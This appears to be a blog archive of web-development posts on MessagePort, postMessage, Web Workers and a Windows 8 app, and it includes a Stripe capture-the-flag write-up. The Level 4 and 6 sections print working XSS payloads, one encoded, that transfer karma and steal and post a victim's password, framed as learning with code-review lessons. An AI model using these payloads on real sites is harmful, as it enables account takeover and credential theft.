Showing posts with label html. Show all posts
Showing posts with label html. Show all posts

Wednesday, August 7, 2013

Considerate MessagePort Usage

Sharing by leezie5. Two squirrels sharing food hanging from a bird feeder. Used under Creative Commons license Attribution-NonCommercial-NoDerivs 2.0 Generic.When writing a JavaScript library that uses postMessage and the message event, I must be considerate of other JS code that will be running along side my library. I shouldn't assume I'm the only sender and receiver on a caller provided MessagePort object. This means obviously I should use addEventListener("message" rather than the onmessage property (see related What if two programs did this?). But considering the actual messages traveling over the message channel I have the issue of accidentally processing another libraries messages and having another library accidentally process my own message. I have a few options for playing nice in this regard:
Require a caller provided unique MessagePort
This solves the problem but puts a lot of work on the caller who may not notice nor follow this requirement.
Uniquely mark my messages
To ensure I'm acting upon my own messages and not messages that happen to have similar properties as my own, I place a 'type' property on my postMessage data with a value of a URN unique to me and my JS library. Usually because its easy I use a UUID URN. There's no way someone will coincidentally produce this same URN. With this I can be sure I'm not processing someone else's messages. Of course there's no way to modify my postMessage data to prevent another library from accidentally processing my messages as their own. I can only hope they take similar steps as this and see that my messages are not their own.
Use caller provided MessagePort only to upgrade to new unique MessagePort
I can also make my own unique MessagePort for which only my library will have the end points. This does still require the caller to provide an initial message channel over which I can communicate my new unique MessagePort which means I still have the problems above. However it clearly reduces the surface area of the problem since I only need once message to communicate the new MessagePort.
The best solution is likely all of the above.
Photo is Sharing by leezie5. Two squirrels sharing food hanging from a bird feeder. Used under Creative Commons license Attribution-NonCommercial-NoDerivs 2.0 Generic.

Monday, July 15, 2013

Subtleties of postMessage

In IE10 and other new browsers one may create MessageChannel objects that have two MessagePorts each connected (w3c spec calls it entangled) to one another such that postMessage on one port results in the message event firing on the other. You can pass an array of ports as the last parameter to postMessage and they show up in the ports property of the message event arg.

Origin

The postMessage here is like the worker postMessage and unlike the window and iframe postMessage in that it applies no origin checking:

  1. No origin postMessage in workers and MessagePorts: postMessage(messageData, ports)
  2. Origin postMessage in windows and iframes: postMessage(messageData, targetOrigin, ports)

Unfortunately the origin isn't an optional parameter at the end to make the two postMessages have the same signature.

On the event handler side, the event arg always has an origin property. But in the no origin case it is always the empty string.

Source

There is also a source property on the message event arg which if set is an object that has a postMessage property allowing you to post back to your caller. It is set for the origin case, however, in the no origin case this property is null. This is somewhat reasonable because in the case of MessagePort and Workers there are only two endpoints so you always know the source of a message implicitly. Unlike the origin case in which any iframe or window can be calling postMessage on any other iframe or window and the caller is unknown. So not unreasonable but it would be nice if the source property was always set for consistency.

MessageChannel start

When a MessageChannel is created it has two MessagePorts, but until those ports are started they will queue up any messages they receive. Once started they will dispatch all queued messages. Ports don't have to be started to send messages.

A port may be started in two ways, either by explicitly calling the start method on the port, or by setting the onmessage callback property on the port. However, adding an event listener via addEventListener("message", does not start the port. It works this way in IE and Chrome and the spec states this as well.

The justification is that since you can have only one callback via onmessage that once set you must implicitly be ready to receive messages and its fine to start the port. As opposed to the addEventListener in which case the user agent cannot start implicitly because it doesn't know how many event listeners will be added.  I found Hixie stating this justification in geoloc meeting notes.

Links

W3C Spec

Opera introduction

Thursday, June 27, 2013

Shout Text Windows 8 App Development Notes

My first app for Windows 8 was Shout Text. You type into Shout Text, and your text is scaled up as large as possible while still fitting on the screen, as you type. It is the closest thing to a Hello World app as you'll find on the Windows Store that doesn't contain that phrase (by default) and I approached it as the simplest app I could make to learn about Windows modern app development and Windows Store app submission.

I rely on WinJS's default layout to use CSS transforms to scale up the user's text as they type. And they are typing into a simple content editable div.

The app was too simple for me to even consider using ads or charging for it which I learned more about in future apps.

The first interesting issue I ran into was that copying from and then pasting into the content editable div resulted in duplicates of the containing div with copied CSS appearing recursively inside of the content editable div. To fix this I had to catch the paste operation and remove the HTML data from the clipboard to ensure only the plain text data is pasted:

        function onPaste() {
            var text;

            if (window.clipboardData) {
                text = window.clipboardData.getData("Text").toString();
                window.clipboardData.clearData("Html");
                window.clipboardData.setData("Text", util.normalizeContentEditableText(text));
            }
        }
        shoutText.addEventListener("beforepaste", function () { return false; }, false);
        shoutText.addEventListener("paste", onPaste, false);

I additionally found an issue in IE in which applying a CSS transform to a content editable div that has focus doesn't move the screen position of the user input caret - the text is scaled up or down but the caret remains the same size and in the same place on the screen. To fix this I made the following hack to reapply the current cursor position and text selection which resets the screen position of the user input caret.

        function resetCaret() {
            setTimeout(function () {
                var cursorPos = document.selection.createRange().duplicate();
                cursorPos.select();
            }, 200);
        }

        shoutText.attachEvent("onresize", function () { resetCaret(); }, true);

Monday, September 10, 2012

Stripe CTF - XSS, CSRF (Levels 4 & 6)

Level 4 and level 6 of the Stripe CTF had solutions around XSS.

Level 4

Code

> Registered Users </h3>
<ul>
  <% @registered_users.each do |user| %>
  <% last_active = user[:last_active].strftime('%H:%M:%S UTC') %>
  <% if @trusts_me.include?(user[:username]) %>
  <li>
    <%= user[:username] %>
    (password: <%= user[:password] %>, last active <%= last_active %>)
  </li>

Issue

The level 4 web application lets you transfer karma to another user and in doing so you are also forced to expose your password to that user. The main user page displays a list of users who have transfered karma to you along with their password. The password is not HTML encoded so we can inject HTML into that user's browser. For instance, we could create an account with the following HTML as the password which will result in XSS with that HTML:

<script>jQuery.post("https://level04-2.stripe-ctf.com/user-kxyiuircqs/transfer", {"to": "l", "amount": 1});</script>
This HTML runs script that uses jQuery to post to the transfer URI resulting in a transfer of karma from the attacked user to the attacker user, and also the attacked user's password.

Notes

Code review red flags in this case included lack of encoding when using user controlled content to create HTML content, storing passwords in plain text in the database, and displaying passwords generally. By design the web app shows users passwords which is a very bad idea.

Level 6

Code

<script> 
    var username = "<%= @username %>"; 
    var post_data = <%= @posts.to_json %>; 

    function escapeHTML(val) { 
       return $('<div/>').text(val).html();
    } 

    function addPost(item) {
       var new_element = '<tr><th>' + escapeHTML(item['user']) + 
          '</th><td><h4>' + escapeHTML(item['title']) + '</h4>' + 
          escapeHTML(item['body']) + '</td></tr>'; $('#posts > tbody:last').prepend(new_element); 
    } 
    
    for(var i = 0; i < post_data.length; i++) { 
       var item = post_data[i]; 
       addPost(item); 
    }; 
</script>

...

    def self.safe_insert(table, key_values)
      key_values.each do |key, value|
        # Just in case people try to exfiltrate
        # level07-password-holder's password
        if value.kind_of?(String) &&
            (value.include?('"') || value.include?("'"))
          raise "Value has unsafe characters"
        end
      end

      conn[table].insert(key_values)
    end

Issue

This web app does a much better job than the level 4 app with HTML injection. They use encoding whenever creating HTML using user controlled data, however they don't use encoding when injecting JSON data into script (see post_data initialization above). This JSON data is the last five most recent messages sent on the app so we get to inject script directly. However, the system also ensures that no strings we write contains single or double quotes so we can't get out of the string in the JSON data directly. As it turns out, HTML lets you jump out of a script block using </script> no matter where you are in script. For instance, in the middle of a value in some JSON data we can jump out of script. But we still want to run script, so we can jump right back in. So the frame so far for the message we're going to post is the following:

</script><script> our new code goes here </script><script>var post_data = [];//
Because we can't use quotes, actually running script takes some creativity. I decided to percent-encode my script so quotes don't show up directly, represent this as a regular expression literal so I don't have to use quotes and to eval this script after decoding. There's likely plenty of other ways to get around lack of quotes.
var code = /percent-encoded script here/.toString();
eval(decodeURIComponent(code.substring(1, code.length - 1))); 
Then the script I actually encode gets the password from the user-info page (which includes password), regexes the password out, and posts it as a message:
jQuery.get("https://level06-2.stripe-ctf.com/user-nhboioztch/user_info").then(function(body) {
var password = /Password:<\/th>[^>]*>([^<]*)/.exec(body)[1];
var encPassword = "";
for (var idx = 0; idx < password.length; ++idx) {
 encPassword += "%";
 encPassword += password.charCodeAt(idx).toString(16);
}

$("#content").val(encPassword);
$("#title").val("password");
document.getElementsByTagName("form")[0].submit();
});
Of course since messages can't include quotes, I have to encode the password before posting it as a message.

Altogether now here's my message:

</script><script>var code = /%6A%51%75%65%72%79%2E%67%65%74%28%22%68%74%74%70%73%3A%2F%2F%6C%65%76%65%6C%30%36%2D%32%2E%73%74%72%69%70%65%2D%63%74%66%2E%63%6F%6D%2F%75%73%65%72%2D%6E%68%62%6F%69%6F%7A%74%63%68%2F%75%73%65%72%5F%69%6E%66%6F%22%29%2E%74%68%65%6E%28%66%75%6E%63%74%69%6F%6E%28%62%6F%64%79%29%20%7B%0A%76%61%72%20%70%61%73%73%77%6F%72%64%20%3D%20%2F%50%61%73%73%77%6F%72%64%3A%3C%5C%2F%74%68%3E%5B%5E%3E%5D%2A%3E%28%5B%5E%3C%5D%2A%29%2F%2E%65%78%65%63%28%62%6F%64%79%29%5B%31%5D%3B%0A%76%61%72%20%65%6E%63%50%61%73%73%77%6F%72%64%20%3D%20%22%22%3B%0A%66%6F%72%20%28%76%61%72%20%69%64%78%20%3D%20%30%3B%20%69%64%78%20%3C%20%70%61%73%73%77%6F%72%64%2E%6C%65%6E%67%74%68%3B%20%2B%2B%69%64%78%29%20%7B%0A%09%65%6E%63%50%61%73%73%77%6F%72%64%20%2B%3D%20%22%25%22%3B%0A%09%65%6E%63%50%61%73%73%77%6F%72%64%20%2B%3D%20%70%61%73%73%77%6F%72%64%2E%63%68%61%72%43%6F%64%65%41%74%28%69%64%78%29%2E%74%6F%53%74%72%69%6E%67%28%31%36%29%3B%0A%7D%0A%0A%24%28%22%23%63%6F%6E%74%65%6E%74%22%29%2E%76%61%6C%28%65%6E%63%50%61%73%73%77%6F%72%64%29%3B%0A%24%28%22%23%74%69%74%6C%65%22%29%2E%76%61%6C%28%22%70%61%73%73%77%6F%72%64%22%29%3B%0A%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%22%66%6F%72%6D%22%29%5B%30%5D%2E%73%75%62%6D%69%74%28%29%3B%0A%7D%29%3B/.toString(); eval(decodeURIComponent(code.substring(1, code.length - 1))); </script><script>var post_data= [];//

Notes

Code review red flags included storing the password in plain text, displaying the password in an HTML page, lack of encoding when generating script on the server side, and a deny list of dangerous characters (quotes). Generally folks should use allow lists not deny lists. You'll always forget something from your deny list or the platform will change out from under you adding new dangerous entries you didn't consider in your deny list. In this case an allow list probably also doesn't make as much sense as encoding correctly. The first issue I ran into, was when posting the password I forgot to encode and the password did contain quotes. The second issue I ran into was that my injected script posts a message which results in a page refresh, which results in my injected script running again. This continues five times until my injected script message is pushed off the end. I had to be patient waiting for the target attacked user to login before I would refresh and post my own password.

Thursday, August 30, 2012

Stripe Web Security CTF Summary

I was the 546th person to complete Stripe's web security CTF and again had a ton of fun applying my theoretical knowledge of web security issues to the (semi-)real world. As I went through the levels I thought about what red flags jumped out at me (or should have) that I could apply to future code reviews:

LevelIssueCode Review Red Flags
0Simple SQL injectionNo encoding when constructing SQL command strings. Constructing SQL command strings instead of SQL API
1extract($_GET);No input validation.
2Arbitrary PHP executionNo input validation. Allow file uploads. File permissions modification.
3Advanced SQL injectionConstructing SQL command strings instead of SQL API.
4HTML injection, XSS and CSRFNo encoding when constructing HTML. No CSRF counter measures. Passwords stored in plain text. Password displayed on site.
5Pingback server doesn't need to opt-inn/a - By design protocol issue.
6Script injection and XSSNo encoding while constructing script. Deny list (of dangerous characters). Passwords stored in plain text. Password displayed on site.
7Length extension attackCustom crypto code. Constructing SQL command string instead of SQL API.
8Side channel attackPassword handling code. Timing attack mitigation too clever.

More about each level in the future.

Friday, February 24, 2012

Web Worker Initialization Race

Elaborating on a previous brief post on the topic of Web Worker initialization race conditions, there's two important points to avoid a race condition when setting up a Worker:

  1. The parent starts the communication posting to the worker.
  2. The worker sets up its message handler in its first synchronous block of execution.

For example the following has no race becaues the spec guarentees that messages posted to a worker during its first synchronous block of execution will be queued and handled after that block. So the worker gets a chance to setup its onmessage handler. No race:

'parent.js':
   var worker = new Worker();
   worker.postMessage("initialize");

'worker.js':
   onmessage = function(e) {
      // ...
   }

The following has a race because there's no guarentee that the parent's onmessage handler is setup before the worker executes postMessage. Race (violates 1):

'parent.js':
   var worker = new Worker();
   worker.onmessage = function(e) {
      // ...
   };

'worker.js':
   postMessage("initialize");

The following has a race because the worker has no onmessage handler set in its first synchronous execution block and so the parent's postMessage may be sent before the worker sets its onmessage handler. Race (violates 2):

'parent.js':
   var worker = new Worker();
   worker.postMessage("initialize");

'worker.js':
   setTimeout(
      function() {
         onmessage = function(e) {
            // ...
         }
      },
      0);

Tuesday, November 22, 2011

Features of image type input tags in HTML

A bug came up the other day involving markup containing <input type="image" src="http://example.com/.... I knew that "image" was a valid input type but it wasn't until that moment that I realized I didn't know what it did. Looking it up I found that it displays the specified image and when the user clicks on the image, the form is submitted with an additional two name value pairs: the x and y positions of the point at which the user clicked the image.

Take for example the following HTML:

<form action="http://example.com/">
<input type="image" name="foo" src="http://deletethis.net/dave/images/davebefore.jpg">
</form>
If the user clicks on the image, the browser will submit the form with a URI like the following:http://example.com/?foo.x=145&foo.y=124.

This seemed like an incredibly specific feature to be built directly into the language when this could instead be done with javascript. I looked a bit further and saw that its been in HTML since at least HTML2, which of course makes much more sense. Javascript barely existed at that point and sending off the user's click location in a form may have been the only way to do something interesting with that action.